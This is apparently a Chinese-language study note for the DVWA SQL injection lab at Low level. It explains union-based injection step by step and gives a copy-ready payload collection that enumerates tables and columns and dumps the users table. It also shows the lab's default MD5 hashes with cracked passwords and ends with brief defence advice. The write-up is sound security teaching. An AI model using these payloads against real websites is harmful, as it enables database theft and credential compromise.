DVWA SQL Injection(Low)完整实战|SQL 联合注入学习笔记
一、什么是 SQL 注入SQL 注入 (SQL Injection)Web 程序直接把用户可控输入拼接到 SQL 语句中执行攻击者通过构造特殊输入改变原有 SQL 逻辑非法查询、修改数据库数据属于 OWASP Top10 高危漏洞。简单理解后台 SQL 语句直接拼接前端传入的参数没有做过滤攻击者输入单引号、注释符等符号闭合原有 SQL 语法拼接恶意查询语句实现脱库。DVWA‑Low 级别没有任何过滤直接将 UserID 参数拼入 SQL适合入门学习联合查询 Union 注入。二、漏洞环境靶场DVWA SQL‑Injection 安全等级Low本地环境PHPStudyMySQL5.7漏洞页面User ID输入框传入 id 参数查询用户姓名后端源码核心逻辑Lowphp运行$query SELECT first_name, last_name FROM users WHERE user_id $id;;三、完整解题思路步骤 1判断是否存在注入输入1页面报错说明单引号破坏 SQL 语法确认字符型单引号闭合注入。输入1 # 页面恢复正常#是 MySQL 注释符注释掉后面剩余 SQL 语句。步骤 2order by 判断查询字段数量order by n用来探测查询返回多少列报错代表列数不足。1 order by 1# 正常1 order by 2# 正常1 order by 3# 报错得出查询结果一共2 列后续 union select 必须写 2 个字段。步骤 3判断回显位置确定哪一列可以输出数据联合注入语法前面查询条件为假只执行 union 后面恶意 SQLpayloadplaintext-1 union select 1,2#First name 位置回显1Surname 位置回显2第 1、2 列都存在回显点可以用来输出数据库查询结果。‑1让前面 where 条件不成立原查询返回空页面只展示 union 注入结果。步骤 4获取当前数据库名称plaintext-1 union select 1,database()#得到数据库名dvwa步骤 5爆出 dvwa 库下所有表名⚠️本地 PHPStudy MySQL5.7 注意查询information_schema系统库会报字符集 / 校对集冲突必须使用 convert 转换字符集否则页面空白报错。plaintext-1 union select 1,convert(table_name using utf8mb4) from information_schema.tables where table_schemadvwa#获取到表名users存储账号密码。步骤 6爆出 users 表所有字段名plaintext-1 union select 1,convert(column_name using utf8mb4) from information_schema.columns where table_schemadvwa and table_nameusers#得到关键字段user、password存储用户名和 MD5 加密密码。步骤 7脱库读取账号密码两种方式limit 逐行爆适合学习一次读取一条记录group_concat 一次性导出全部数据方式① limit 逐行读取plaintext-1 union select user,password from users limit 0,1#-1 union select user,password from users limit 1,1#-1 union select user,password from users limit 2,1#-1 union select user,password from users limit 3,1#-1 union select user,password from users limit 4,1#limit offset,countoffset 为偏移量从 0 开始count 读取记录条数。方式② group_concat 一次性导出全部账号密码plaintext-1 union select 1,convert(group_concat(user,0x7c,password separator 0x3b) using utf8mb4) from users#0x7c是|、0x3b是;十六进制分隔符不需要引号。拿到 MD5 哈希后在线 MD5 解密得到明文密码。四、本地环境完整可复现 Payload 合集直接复制使用重点查询 information_schema 系统库时必须加 convert (xxx using utf8mb4)直接查询业务 users 表不需要 convertsql-- 1.判断注入点1 #-- 2.order by 判断列数1 order by 2#1 order by 3#--3.寻找回显位-1 union select 1,2#--4.查询当前数据库名-1 union select 1,database()#--5.查dvwa库所有表名本地MySQL5.7必须加convert-1 union select 1,convert(table_name using utf8mb4) from information_schema.tables where table_schemadvwa#--6.查users表字段-1 union select 1,convert(column_name using utf8mb4) from information_schema.columns where table_schemadvwa and table_nameusers#--7‑1 limit逐行脱账号密码查业务表不需要convert-1 union select user,password from users limit 0,1#-1 union select user,password from users limit 1,1#-1 union select user,password from users limit 2,1#-1 union select user,password from users limit 3,1#-1 union select user,password from users limit 4,1#--7‑2 group_concat一次性导出全部数据-1 union select 1,convert(group_concat(user,0x7c,password separator 0x3b) using utf8mb4) from users#五、复现结果users 表账号密码汇总表格用户名 MD5 哈希 明文密码admin 5f4dcc3b5aa765d61d8327deb882cf99 passwordgordonb e99a18c428cb38d5f260853678922e03 abc1231337 8d3533d75ae2c3966d7e0d4fcc69216b charleypablo 21232f297a57a5a743894a0e4a801fc3 letmeinsmithy 7a28b96c94eb4a330a7e62b531577c11 password六、知识点总结本案例属于字符型 union 联合查询注入闭合符号为单引号#作为注释。union 注入要求前后两个 select 查询字段数量必须完全一致。-1使前面查询条件不成立页面只输出 union 后面恶意查询的结果。MySQL5.7 环境查询information_schema系统库容易报字符集不匹配解决方案convert(字段 using utf8mb4)。业务表不需要转换。limit offset,num逐行获取数据group_concat()可以拼接多条记录一次性输出。防御思路使用预编译语句 (PDO)拒绝直接拼接用户输入过滤特殊符号最小权限原则。

相关新闻

XXL-JOB v2.5.0 详细使用指南:从零搭建到任务开发

XXL-JOB v2.5.0 详细使用指南:从零搭建到任务开发

XXL-JOB 是一个轻量级分布式任务调度平台,核心设计是调度中心(Admin) 与执行器(Executor) 分离:调度中心负责任务的管理和触发,执行器负责接收调度请求并执行业务代码。下面从零开始&#xff0c…

2026/10/12 5:45:57 阅读更多 →
抖音下载器完全指南:如何免费批量下载抖音视频、直播回放和作者主页

抖音下载器完全指南:如何免费批量下载抖音视频、直播回放和作者主页

抖音下载器完全指南:如何免费批量下载抖音视频、直播回放和作者主页 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser f…

2026/10/5 15:27:56 阅读更多 →
3分钟解锁专业缠论分析:ChanlunX缠论插件终极免费指南

3分钟解锁专业缠论分析:ChanlunX缠论插件终极免费指南

3分钟解锁专业缠论分析:ChanlunX缠论插件终极免费指南 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX 你想在通达信中实现专业的缠论技术分析吗?ChanlunX缠论插件正是你寻找的终极…

2026/10/3 3:53:41 阅读更多 →

最新新闻

小米手机传文件到电脑的四种高效方案与选型指南

小米手机传文件到电脑的四种高效方案与选型指南

你有没有过这种经历:手机里躺着一份刚收到的文件,电脑就在旁边,但你在心里把能用的传输方式翻了个遍,愣是找不到一条顺手的路?这种事我过去经常碰到,尤其手上这台主力机恰好是小米手机的时候。后来我把常用…

2026/10/12 5:45:23 阅读更多 →
Codex重连卡顿根源:一行配置修复协议协同失配

Codex重连卡顿根源:一行配置修复协议协同失配

1. 项目概述:这不是网络故障,是连接策略失配“Codex 重连卡半天,一行配置搞定”——看到这个标题,我第一反应不是去查日志,而是先翻出自己去年在某跨平台开发项目里踩过的坑。当时团队用 Codex 做代码补全服务集成&…

2026/10/12 5:45:22 阅读更多 →
从GitHub日榜看开源趋势:Star增量背后的项目筛选与避坑指南

从GitHub日榜看开源趋势:Star增量背后的项目筛选与避坑指南

每天扫一眼GitHub热榜的日榜,已经是我这几年雷打不动的习惯。2026-10-05这一天的日榜样本被我完整扒了一遍,这篇文章就把我从拿到一份日榜开始,到最终筛选出值得深挖的项目、避开常见坑位的完整思路写出来。无论你是刚接触开源的新手&#xf…

2026/10/12 5:45:22 阅读更多 →
AI 数字人柜模块化可维护硬件设计指南

AI 数字人柜模块化可维护硬件设计指南

在部署数字人终端的项目中,很多团队往往只关注前期的功能实现和采购成本,却容易忽视后期运维的复杂性。一旦设备出现故障,传统的一体封装设计往往意味着漫长的返厂周期、高昂的差旅费用以及业务中断带来的隐性损失。对于连锁门店或偏远地区的…

2026/10/12 5:45:22 阅读更多 →
AnyPS5串流方案全解析:从架构设计到延迟优化实战

AnyPS5串流方案全解析:从架构设计到延迟优化实战

1. 项目缘起与核心定位AnyPS5 这个标题第一次出现在我视野里的时候,我下意识地把它拆成了两个部分来看——“Any”和“PS5”。前者代表通用、跨平台、不受限,后者则指向一个非常具体的软硬件生态。把这两个词拼在一起,背后想表达的东西其实很…

2026/10/12 5:45:22 阅读更多 →
代码级对抗攻击:AST扰动如何绕过SAST与CI门禁

代码级对抗攻击:AST扰动如何绕过SAST与CI门禁

1. 这不是“黑客炫技”,而是代码层攻防的日常切片“Code-Level Adversarial Attacks 相关工作”——看到这个标题,很多人第一反应是:又一个AI安全论文里的抽象概念?其实不然。它背后是一群人在真实代码世界里反复拆解、注入、绕过…

2026/10/12 5:44:22 阅读更多 →

日新闻

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

复古胶片颗粒感噪点合成器:Canvas ImageData 像素高斯杂色注入算法

在数码相机、高清显示屏与现代矢量图形技术高度发达的今天,画面可以做到绝对的锐利、平滑与无瑕。然而,当一张秋日手账插画或拍立得照片过于“平整无瑕”时,往往会散发出一种冰冷生硬的“数码塑料感(Digital Plasticity&#xff0…

2026/10/12 0:00:59 阅读更多 →
活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

活字印刷古籍线装排版:Canvas 竖排文字与栏线自适应算法

在现代网页与移动端设计中,横排(Horizontal Layout)早已经成为了绝对的主流。然而,当我们翻开泛黄的线装古籍、宋版木刻诗集,或是欣赏一张茶道雅集的手写便签时,那种**自上而下纵向书写、自右向左逐列铺展&…

2026/10/12 0:00:59 阅读更多 →
周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

周日晚间的“精神松绑减震器”:无压力情绪倾倒箱与温和轻声陪伴

每到周日的晚上八点到十点,很多人心里都会悄悄亮起一盏警示灯。 在心理学上,这种现象有一个专门的称谓——“周日夜晚焦虑症(Sunday Scaries)”。明天又是周一,闹钟又要重新在七点响彻卧房;脑海里仿佛有一个…

2026/10/12 0:00:59 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/12 0:16:30 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/12 0:16:38 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/12 0:16:43 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 10:45:37 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:53 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/11 14:36:54 阅读更多 →